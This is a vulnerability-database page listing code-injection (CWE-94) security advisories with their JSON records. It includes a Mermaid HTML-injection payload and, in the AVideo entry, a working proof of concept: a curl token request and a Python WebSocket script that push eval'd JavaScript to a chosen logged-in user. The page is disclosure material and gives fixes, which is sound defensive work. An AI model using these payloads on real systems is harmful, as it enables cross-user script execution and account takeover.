Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8297 vulnerabilities reference this CWE, most recent first.

GHSA-GHCM-XQFW-Q4VR

Vulnerability from github – Published: 2026-05-11 19:36 – Updated: 2026-06-08 23:21
VLAI
Summary
Mermaid: Improper sanitization of `classDef` in state diagrams leads to HTML injection
Details

Impact

Under the default configuration, Mermaid state diagram's classDef allow DOM injection that escapes the SVG, although <script> tags are removed, preventing XSS.

Proof-of-concept

stateDiagram-v2
  classDef xss fill:red</style></svg><style>*{x:x;y:y;overflow:visible!important;contain:none!important;transform:none!important;filter:none!important;clip-path:none!important}</style><div style="x:x;y:y;color:red;font:5em/1 monospace;display:grid;place-items:center;z-index:2147483647;width:100vw;height:100vh;position:fixed;top:0;left:0;background:black">HACKED</div><svg><style>a:b
  [*] --> A:::xss

Patches

Workarounds

If you can not update to a patched version, setting "securityLevel": "sandbox" will prevent this, by rendering the mermaid diagram in a sandboxed <iframe>.

Credits

Thanks to @zsxsoft from @KeenSecurityLab for reporting this vulnerability.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.14.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "mermaid"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0-alpha.1"
            },
            {
              "fixed": "11.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.9.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "mermaid"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41149"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T19:36:46Z",
    "nvd_published_at": "2026-05-22T23:16:53Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nUnder the default configuration, Mermaid state diagram\u0027s `classDef` allow DOM injection that escapes the SVG, although `\u003cscript\u003e` tags are removed, preventing XSS.\n\n#### Proof-of-concept\n\n```\nstateDiagram-v2\n  classDef xss fill:red\u003c/style\u003e\u003c/svg\u003e\u003cstyle\u003e*{x:x;y:y;overflow:visible!important;contain:none!important;transform:none!important;filter:none!important;clip-path:none!important}\u003c/style\u003e\u003cdiv style=\"x:x;y:y;color:red;font:5em/1 monospace;display:grid;place-items:center;z-index:2147483647;width:100vw;height:100vh;position:fixed;top:0;left:0;background:black\"\u003eHACKED\u003c/div\u003e\u003csvg\u003e\u003cstyle\u003ea:b\n  [*] --\u003e A:::xss\n```\n\n### Patches\n\n- [v11.15.0](https://github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.15.0) (see [37ff937f1da2e19f882fd1db01235db4d01f4056](https://github.com/mermaid-js/mermaid/commit/37ff937f1da2e19f882fd1db01235db4d01f4056))\n- [v10.9.6](https://github.com/mermaid-js/mermaid/releases/tag/v10.9.6) (see [4e2d512bf5bf6f9de1a8f0a48da78dc4d09ac4f3](https://github.com/mermaid-js/mermaid/commit/4e2d512bf5bf6f9de1a8f0a48da78dc4d09ac4f3))\n\n### Workarounds\n\nIf you can not update to a patched version, setting [`\"securityLevel\": \"sandbox\"`](https://mermaid.js.org/config/schema-docs/config.html#securitylevel)  will prevent this, by rendering the mermaid diagram in a sandboxed `\u003ciframe\u003e`.\n\n### Credits\n\nThanks to @zsxsoft from @KeenSecurityLab for reporting this vulnerability.",
  "id": "GHSA-ghcm-xqfw-q4vr",
  "modified": "2026-06-08T23:21:04Z",
  "published": "2026-05-11T19:36:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mermaid-js/mermaid/security/advisories/GHSA-ghcm-xqfw-q4vr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41149"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mermaid-js/mermaid/commit/37ff937f1da2e19f882fd1db01235db4d01f4056"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mermaid-js/mermaid/commit/4e2d512bf5bf6f9de1a8f0a48da78dc4d09ac4f3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mermaid-js/mermaid"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.15.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mermaid-js/mermaid/releases/tag/v10.9.6"
    },
    {
      "type": "WEB",
      "url": "https://mermaid.js.org/config/schema-docs/config.html#securitylevel"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Mermaid: Improper sanitization of `classDef` in state diagrams leads to HTML injection"
}

GHSA-GHCV-22JF-VFXM

Vulnerability from github – Published: 2026-05-05 19:07 – Updated: 2026-05-13 14:19
VLAI
Summary
AVideo has an Incomplete Fix for YPTSocket autoEvalCodeOnHTML Strip: Unauthenticated Cross-User JavaScript Execution via `$msg['json']` Relay Bypass
Details

Summary

The server-side mitigation for the YPTSocket autoEvalCodeOnHTML eval sink (prior advisory GHSA-gph2-j4c9-vhhr, commit c08694bf6) only strips the payload when it sits under $json['msg'], but the relay function msgToResourceId() selects the outbound message from $msg['json'] before $msg['msg']. An unauthenticated attacker can obtain a WebSocket token from plugin/YPTSocket/getWebSocket.json.php, connect to the WebSocket server, and send a message with autoEvalCodeOnHTML nested under a top-level json field — the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by to_users_id, and the client script runs it through eval().

Details

Entry point (unauthenticated)

plugin/YPTSocket/getWebSocket.json.php (lines 1–21) issues a valid WebSocket token to any caller, with no authentication or CSRF check:

$obj->webSocketToken = getEncryptedInfo(0);
$obj->webSocketURL = YPTSocket::getWebSocketURL();
die(json_encode($obj));

getEncryptedInfo() defaults to sentFrom = 'browser' and a non-CLI flag (plugin/YPTSocket/functions.php:3-47), so a token minted for an anonymous browser client will cause the strip branch below to run — which is exactly what we want to audit.

Incomplete strip (the fix from commit c08694bf6)

plugin/YPTSocket/Message.php:236-247:

// Strip eval-able fields from browser/guest messages.
if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
    if (is_array($json['msg'] ?? null)) {
        unset($json['msg']['autoEvalCodeOnHTML']);          // <-- only strips $json['msg']
    }
    if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
        unset($json['callback']);
    }
}

If the incoming $json['msg'] is a scalar (e.g. the string "x"), is_array(...) is false and the strip is skipped entirely. Any eval-able content that lives elsewhere in $json passes through untouched. The same flawed check exists in plugin/YPTSocket/MessageSQLiteV2.php:285-293.

Relay preference picks the untouched field

plugin/YPTSocket/Message.php:316-322 (and the mirror at MessageSQLiteV2.php:396-402):

if (!empty($msg['json'])) {
    $obj['msg'] = $msg['json'];          // <-- preferred carrier; never stripped
} else if (!empty($msg['msg'])) {
    $obj['msg'] = $msg['msg'];
} else {
    $obj['msg'] = $msg;
}

An attacker payload shaped as {"msg": "x", "json": {"autoEvalCodeOnHTML": "<js>"}, "to_users_id": <victim>} therefore:

  1. Passes switch ($json->msg) into the default case (Message.php:211, 228).
  2. msgToArray($json) converts to array. The strip branch enters because sentFrom === 'browser', but is_array("x") is false and the strip is skipped.
  3. Routing lands on msgToUsers_id($json, $json['to_users_id']) (Message.php:253), which for each matching resource calls msgToResourceId($msg, $resourceId) (Message.php:379).
  4. In msgToResourceId, !empty($msg['json']) is true, so $obj['msg'] becomes {"autoEvalCodeOnHTML": "<js>"} (Message.php:316-317).
  5. The shouldPropagateInfo() check at Message.php:287-289 only logs — it does not return — so delivery proceeds regardless.

Client-side sink

plugin/YPTSocket/script.js:573-575:

if (json.msg?.autoEvalCodeOnHTML !== undefined) {
    eval(json.msg.autoEvalCodeOnHTML);
}

Any logged-in user with an active browser tab runs the attacker-supplied JavaScript in the origin of the AVideo installation.

Routing to any user

msgToUsers_id() (Message.php:362-389) looks up to_users_id against $this->clientsUsersId and relays to every resource belonging to that user. Because to_users_id comes straight from attacker input, any currently connected user (regular or admin) can be targeted. Active users_id values can be enumerated via the existing getClientsList request handled at Message.php:219-224 using the same unauthenticated token.

PoC

Step 1 — mint an unauthenticated WebSocket token:

curl -sk 'https://target/plugin/YPTSocket/getWebSocket.json.php'
# {"error":false,"webSocketToken":"<TOKEN>","webSocketURL":"wss://target:2053?webSocketToken=<TOKEN>&isCommandLine=0", ...}

Step 2 — connect and send the crafted message:

import json, ssl, websocket

TOKEN  = '<TOKEN>'          # from step 1
URL    = 'wss://target:2053?webSocketToken=' + TOKEN + '&isCommandLine=0'
VICTIM = 2                  # any logged-in users_id with an open tab

ws = websocket.create_connection(URL, sslopt={'cert_reqs': ssl.CERT_NONE})
payload = {
    'msg': 'x',                                                  # scalar -> strip branch skipped
    'webSocketToken': TOKEN,
    'json': {'autoEvalCodeOnHTML': "alert('XSS in '+document.domain)"},
    'to_users_id': VICTIM,
}
ws.send(json.dumps(payload))
ws.close()

Expected result: the victim's tab receives {"type":"DEFAULT_MESSAGE","msg":{"autoEvalCodeOnHTML":"alert(...)"}, ...} and executes the JavaScript via eval().

Optional Step 0 — enumerate active users (using the same token):

ws.send(json.dumps({'msg': 'getClientsList', 'webSocketToken': TOKEN}))
# response lists active users_id values

Impact

  • Unauthenticated XSS / arbitrary JS execution in any logged-in user's browser session. The victim only needs a tab open on the site — no click, no link, no CSRF.
  • Same-origin compromise: the attacker's JS runs in the target origin, so it can read DOM/tokens, make authenticated XHR calls on the victim's behalf, and exfiltrate session data.
  • Privilege escalation when an admin is targeted: arbitrary admin-panel actions via same-origin XHR — account takeover, plugin configuration changes, file uploads, etc.
  • Mass exploitation feasible: getClientsList (also reachable with the anonymous token) enumerates active users_id values, and the attacker can iterate to_users_id across all of them.
  • This is an incomplete fix for GHSA-gph2-j4c9-vhhr — deployments that patched to commit c08694bf6 remain exploitable.

Recommended Fix

Scrub autoEvalCodeOnHTML from every outbound carrier the relay may choose, not only from $json['msg']. Patch both plugin/YPTSocket/Message.php and plugin/YPTSocket/MessageSQLiteV2.php. For example, replace the current strip in onMessage():

if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
    foreach (['msg', 'json'] as $k) {
        if (is_array($json[$k] ?? null)) {
            unset($json[$k]['autoEvalCodeOnHTML']);
        }
    }
    // also strip a top-level field so the fallback `$obj['msg'] = $msg` path is safe
    if (isset($json['autoEvalCodeOnHTML'])) {
        unset($json['autoEvalCodeOnHTML']);
    }
    if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
        unset($json['callback']);
    }
}

Additionally, harden the relay itself in msgToResourceId() (both files) so future regressions cannot reintroduce the sink — walk the chosen $obj['msg'] recursively and unset autoEvalCodeOnHTML whenever the message originated from a non-PHP, non-CLI client. As defense in depth, remove or gate the client-side eval(json.msg.autoEvalCodeOnHTML) at plugin/YPTSocket/script.js:573-575 behind a server-signed field rather than a plain JSON key.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43874"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T19:07:09Z",
    "nvd_published_at": "2026-05-11T21:19:02Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe server-side mitigation for the YPTSocket `autoEvalCodeOnHTML` eval sink (prior advisory GHSA-gph2-j4c9-vhhr, commit `c08694bf6`) only strips the payload when it sits under `$json[\u0027msg\u0027]`, but the relay function `msgToResourceId()` selects the outbound message from `$msg[\u0027json\u0027]` *before* `$msg[\u0027msg\u0027]`. An unauthenticated attacker can obtain a WebSocket token from `plugin/YPTSocket/getWebSocket.json.php`, connect to the WebSocket server, and send a message with `autoEvalCodeOnHTML` nested under a top-level `json` field \u2014 the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by `to_users_id`, and the client script runs it through `eval()`.\n\n## Details\n\n### Entry point (unauthenticated)\n\n`plugin/YPTSocket/getWebSocket.json.php` (lines 1\u201321) issues a valid WebSocket token to any caller, with no authentication or CSRF check:\n\n```php\n$obj-\u003ewebSocketToken = getEncryptedInfo(0);\n$obj-\u003ewebSocketURL = YPTSocket::getWebSocketURL();\ndie(json_encode($obj));\n```\n\n`getEncryptedInfo()` defaults to `sentFrom = \u0027browser\u0027` and a non-CLI flag (`plugin/YPTSocket/functions.php:3-47`), so a token minted for an anonymous browser client will cause the strip branch below to run \u2014 which is exactly what we want to audit.\n\n### Incomplete strip (the fix from commit c08694bf6)\n\n`plugin/YPTSocket/Message.php:236-247`:\n\n```php\n// Strip eval-able fields from browser/guest messages.\nif (empty($msgObj-\u003eisCommandLineInterface) \u0026\u0026 ($msgObj-\u003esentFrom ?? \u0027\u0027) !== \u0027php\u0027) {\n    if (is_array($json[\u0027msg\u0027] ?? null)) {\n        unset($json[\u0027msg\u0027][\u0027autoEvalCodeOnHTML\u0027]);          // \u003c-- only strips $json[\u0027msg\u0027]\n    }\n    if (isset($json[\u0027callback\u0027]) \u0026\u0026 !preg_match(\u0027/^[a-zA-Z_][a-zA-Z0-9_]*$/\u0027, (string)$json[\u0027callback\u0027])) {\n        unset($json[\u0027callback\u0027]);\n    }\n}\n```\n\nIf the incoming `$json[\u0027msg\u0027]` is a scalar (e.g. the string `\"x\"`), `is_array(...)` is false and the strip is skipped entirely. Any eval-able content that lives elsewhere in `$json` passes through untouched. The same flawed check exists in `plugin/YPTSocket/MessageSQLiteV2.php:285-293`.\n\n### Relay preference picks the untouched field\n\n`plugin/YPTSocket/Message.php:316-322` (and the mirror at `MessageSQLiteV2.php:396-402`):\n\n```php\nif (!empty($msg[\u0027json\u0027])) {\n    $obj[\u0027msg\u0027] = $msg[\u0027json\u0027];          // \u003c-- preferred carrier; never stripped\n} else if (!empty($msg[\u0027msg\u0027])) {\n    $obj[\u0027msg\u0027] = $msg[\u0027msg\u0027];\n} else {\n    $obj[\u0027msg\u0027] = $msg;\n}\n```\n\nAn attacker payload shaped as `{\"msg\": \"x\", \"json\": {\"autoEvalCodeOnHTML\": \"\u003cjs\u003e\"}, \"to_users_id\": \u003cvictim\u003e}` therefore:\n\n1. Passes `switch ($json-\u003emsg)` into the `default` case (Message.php:211, 228).\n2. `msgToArray($json)` converts to array. The strip branch enters because `sentFrom === \u0027browser\u0027`, but `is_array(\"x\")` is false and the strip is skipped.\n3. Routing lands on `msgToUsers_id($json, $json[\u0027to_users_id\u0027])` (Message.php:253), which for each matching resource calls `msgToResourceId($msg, $resourceId)` (Message.php:379).\n4. In `msgToResourceId`, `!empty($msg[\u0027json\u0027])` is true, so `$obj[\u0027msg\u0027]` becomes `{\"autoEvalCodeOnHTML\": \"\u003cjs\u003e\"}` (Message.php:316-317).\n5. The `shouldPropagateInfo()` check at Message.php:287-289 only logs \u2014 it does not return \u2014 so delivery proceeds regardless.\n\n### Client-side sink\n\n`plugin/YPTSocket/script.js:573-575`:\n\n```js\nif (json.msg?.autoEvalCodeOnHTML !== undefined) {\n    eval(json.msg.autoEvalCodeOnHTML);\n}\n```\n\nAny logged-in user with an active browser tab runs the attacker-supplied JavaScript in the origin of the AVideo installation.\n\n### Routing to any user\n\n`msgToUsers_id()` (Message.php:362-389) looks up `to_users_id` against `$this-\u003eclientsUsersId` and relays to every resource belonging to that user. Because `to_users_id` comes straight from attacker input, any currently connected user (regular or admin) can be targeted. Active users_id values can be enumerated via the existing `getClientsList` request handled at Message.php:219-224 using the same unauthenticated token.\n\n## PoC\n\nStep 1 \u2014 mint an unauthenticated WebSocket token:\n\n```bash\ncurl -sk \u0027https://target/plugin/YPTSocket/getWebSocket.json.php\u0027\n# {\"error\":false,\"webSocketToken\":\"\u003cTOKEN\u003e\",\"webSocketURL\":\"wss://target:2053?webSocketToken=\u003cTOKEN\u003e\u0026isCommandLine=0\", ...}\n```\n\nStep 2 \u2014 connect and send the crafted message:\n\n```python\nimport json, ssl, websocket\n\nTOKEN  = \u0027\u003cTOKEN\u003e\u0027          # from step 1\nURL    = \u0027wss://target:2053?webSocketToken=\u0027 + TOKEN + \u0027\u0026isCommandLine=0\u0027\nVICTIM = 2                  # any logged-in users_id with an open tab\n\nws = websocket.create_connection(URL, sslopt={\u0027cert_reqs\u0027: ssl.CERT_NONE})\npayload = {\n    \u0027msg\u0027: \u0027x\u0027,                                                  # scalar -\u003e strip branch skipped\n    \u0027webSocketToken\u0027: TOKEN,\n    \u0027json\u0027: {\u0027autoEvalCodeOnHTML\u0027: \"alert(\u0027XSS in \u0027+document.domain)\"},\n    \u0027to_users_id\u0027: VICTIM,\n}\nws.send(json.dumps(payload))\nws.close()\n```\n\nExpected result: the victim\u0027s tab receives `{\"type\":\"DEFAULT_MESSAGE\",\"msg\":{\"autoEvalCodeOnHTML\":\"alert(...)\"}, ...}` and executes the JavaScript via `eval()`.\n\nOptional Step 0 \u2014 enumerate active users (using the same token):\n\n```python\nws.send(json.dumps({\u0027msg\u0027: \u0027getClientsList\u0027, \u0027webSocketToken\u0027: TOKEN}))\n# response lists active users_id values\n```\n\n## Impact\n\n- **Unauthenticated XSS / arbitrary JS execution in any logged-in user\u0027s browser session.** The victim only needs a tab open on the site \u2014 no click, no link, no CSRF.\n- **Same-origin compromise:** the attacker\u0027s JS runs in the target origin, so it can read DOM/tokens, make authenticated XHR calls on the victim\u0027s behalf, and exfiltrate session data.\n- **Privilege escalation when an admin is targeted:** arbitrary admin-panel actions via same-origin XHR \u2014 account takeover, plugin configuration changes, file uploads, etc.\n- **Mass exploitation feasible:** `getClientsList` (also reachable with the anonymous token) enumerates active `users_id` values, and the attacker can iterate `to_users_id` across all of them.\n- This is an incomplete fix for GHSA-gph2-j4c9-vhhr \u2014 deployments that patched to commit `c08694bf6` remain exploitable.\n\n## Recommended Fix\n\nScrub `autoEvalCodeOnHTML` from **every** outbound carrier the relay may choose, not only from `$json[\u0027msg\u0027]`. Patch both `plugin/YPTSocket/Message.php` and `plugin/YPTSocket/MessageSQLiteV2.php`. For example, replace the current strip in `onMessage()`:\n\n```php\nif (empty($msgObj-\u003eisCommandLineInterface) \u0026\u0026 ($msgObj-\u003esentFrom ?? \u0027\u0027) !== \u0027php\u0027) {\n    foreach ([\u0027msg\u0027, \u0027json\u0027] as $k) {\n        if (is_array($json[$k] ?? null)) {\n            unset($json[$k][\u0027autoEvalCodeOnHTML\u0027]);\n        }\n    }\n    // also strip a top-level field so the fallback `$obj[\u0027msg\u0027] = $msg` path is safe\n    if (isset($json[\u0027autoEvalCodeOnHTML\u0027])) {\n        unset($json[\u0027autoEvalCodeOnHTML\u0027]);\n    }\n    if (isset($json[\u0027callback\u0027]) \u0026\u0026 !preg_match(\u0027/^[a-zA-Z_][a-zA-Z0-9_]*$/\u0027, (string)$json[\u0027callback\u0027])) {\n        unset($json[\u0027callback\u0027]);\n    }\n}\n```\n\nAdditionally, harden the relay itself in `msgToResourceId()` (both files) so future regressions cannot reintroduce the sink \u2014 walk the chosen `$obj[\u0027msg\u0027]` recursively and unset `autoEvalCodeOnHTML` whenever the message originated from a non-PHP, non-CLI client. As defense in depth, remove or gate the client-side `eval(json.msg.autoEvalCodeOnHTML)` at `plugin/YPTSocket/script.js:573-575` behind a server-signed field rather than a plain JSON key.",
  "id": "GHSA-ghcv-22jf-vfxm",
  "modified": "2026-05-13T14:19:18Z",
  "published": "2026-05-05T19:07:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ghcv-22jf-vfxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43874"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/9f3006f9a89a34daa67a83c6ad35f450cb91fcce"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-gph2-j4c9-vhhr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has an Incomplete Fix for YPTSocket autoEvalCodeOnHTML Strip: Unauthenticated Cross-User JavaScript Execution via `$msg[\u0027json\u0027]` Relay Bypass"
}

GHSA-GHFM-2JJ8-HPPG

Vulnerability from github – Published: 2022-05-14 02:34 – Updated: 2022-05-14 02:34
VLAI
Details

The Common Language Runtime (CLR) in Microsoft .NET Framework 2.0 SP2, 3.5, 3.5.1, 4, and 4.5 on 64-bit platforms does not properly allocate arrays of structures, which allows remote attackers to execute arbitrary code via a crafted .NET Framework application that changes array data, aka "Array Allocation Vulnerability."

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2013-3134"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-07-10T03:46:00Z",
    "severity": "HIGH"
  },
  "details": "The Common Language Runtime (CLR) in Microsoft .NET Framework 2.0 SP2, 3.5, 3.5.1, 4, and 4.5 on 64-bit platforms does not properly allocate arrays of structures, which allows remote attackers to execute arbitrary code via a crafted .NET Framework application that changes array data, aka \"Array Allocation Vulnerability.\"",
  "id": "GHSA-ghfm-2jj8-hppg",
  "modified": "2022-05-14T02:34:22Z",
  "published": "2022-05-14T02:34:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-3134"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-052"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A17071"
    },
    {
      "type": "WEB",
      "url": "http://www.us-cert.gov/ncas/alerts/TA13-190A"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GHHH-97CC-M8QX

Vulnerability from github – Published: 2022-05-17 01:57 – Updated: 2022-05-17 01:57
VLAI
Details

Code injection in openSUSE when running some source services used in the open build service 2.1 before March 11 2011.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2011-0469"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-08-17T16:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Code injection in openSUSE when running some source services used in the open build service 2.1 before March 11 2011.",
  "id": "GHSA-ghhh-97cc-m8qx",
  "modified": "2022-05-17T01:57:31Z",
  "published": "2022-05-17T01:57:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-0469"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openSUSE/open-build-service/commit/23c8d21c75242999e29379e6ca8418a14c8725c6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openSUSE/open-build-service/commit/76b0ab003f34435ca90d943e02dd22279cdeec2a"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=679325"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GHMF-69XR-JMCG

Vulnerability from github – Published: 2022-05-17 05:04 – Updated: 2025-04-11 04:13
VLAI
Details

The Agent (aka AgentController) servlet in HP ProCurve Manager (PCM) 3.20 and 4.0, PCM+ 3.20 and 4.0, and Identity Driven Manager (IDM) 4.0 allows remote attackers to execute arbitrary commands via a HEAD request, aka ZDI-CAN-1745.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2013-4813"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-09-16T13:01:00Z",
    "severity": "HIGH"
  },
  "details": "The Agent (aka AgentController) servlet in HP ProCurve Manager (PCM) 3.20 and 4.0, PCM+ 3.20 and 4.0, and Identity Driven Manager (IDM) 4.0 allows remote attackers to execute arbitrary commands via a HEAD request, aka ZDI-CAN-1745.",
  "id": "GHSA-ghmf-69xr-jmcg",
  "modified": "2025-04-11T04:13:46Z",
  "published": "2022-05-17T05:04:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-4813"
    },
    {
      "type": "WEB",
      "url": "http://h20565.www2.hp.com/portal/site/hpsc/template.PAGE/public/kb/docDisplay/?docId=emr_na-c03897409"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/54788"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1029010"
    },
    {
      "type": "WEB",
      "url": "http://zerodayinitiative.com/advisories/ZDI-13-228"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GHMJ-7H5Q-Q89G

Vulnerability from github – Published: 2022-05-01 18:44 – Updated: 2022-05-01 18:44
VLAI
Details

showCode.php in xml2owl 0.1.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the path parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-6632"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-01-04T00:46:00Z",
    "severity": "MODERATE"
  },
  "details": "showCode.php in xml2owl 0.1.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the path parameter.",
  "id": "GHSA-ghmj-7h5q-q89g",
  "modified": "2022-05-01T18:44:58Z",
  "published": "2022-05-01T18:44:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6632"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39327"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4800"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/39880"
    },
    {
      "type": "WEB",
      "url": "http://www.inj3ct-it.org/exploit/xml2owl-0.1.1.rce.txt"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/27050"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GHQ9-VC6F-8QJF

Vulnerability from github – Published: 2026-04-01 00:03 – Updated: 2026-04-01 00:03
VLAI
Summary
TorchGeo Remote Code Execution Vulnerability
Details

Impact

TorchGeo 0.4–0.6.0 used an eval statement in its model weight API that could allow an unauthenticated, remote attacker to execute arbitrary commands. All platforms that expose torchgeo.models.get_weight() or torchgeo.trainers as an external API could be affected.

Patches

The eval statement was replaced with a fixed enum lookup, preventing arbitrary code injection. All users are encouraged to upgrade to TorchGeo 0.6.1 or newer.

Workarounds

In unpatched versions, input validation and sanitization can be used to avoid this vulnerability.

References

Bug history

  • Introduced: https://github.com/torchgeo/torchgeo/pull/917
  • Patched: https://github.com/torchgeo/torchgeo/pull/2323
  • Released: v0.6.1
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "torchgeo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4"
            },
            {
              "fixed": "0.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-49048"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T00:03:56Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nTorchGeo 0.4\u20130.6.0 used an [`eval`](https://docs.python.org/3/library/functions.html#eval) statement in its model weight API that could allow an unauthenticated, remote attacker to execute arbitrary commands. All platforms that expose [`torchgeo.models.get_weight()`](https://torchgeo.readthedocs.io/en/v0.6.0/api/models.html#torchgeo.models.get_weight) or [`torchgeo.trainers`](https://torchgeo.readthedocs.io/en/v0.6.0/api/trainers.html) as an external API could be affected.\n\n### Patches\n\nThe `eval` statement was replaced with a fixed enum lookup, preventing arbitrary code injection. All users are encouraged to upgrade to TorchGeo 0.6.1 or newer.\n\n### Workarounds\n\nIn unpatched versions, input validation and sanitization can be used to avoid this vulnerability.\n\n### References\n\n#### Bug history\n\n* Introduced: https://github.com/torchgeo/torchgeo/pull/917\n* Patched: https://github.com/torchgeo/torchgeo/pull/2323\n* Released: [v0.6.1](https://github.com/microsoft/torchgeo/releases/tag/v0.6.1)",
  "id": "GHSA-ghq9-vc6f-8qjf",
  "modified": "2026-04-01T00:03:56Z",
  "published": "2026-04-01T00:03:56Z",
  "references": [
    {
      "type": "WEB",
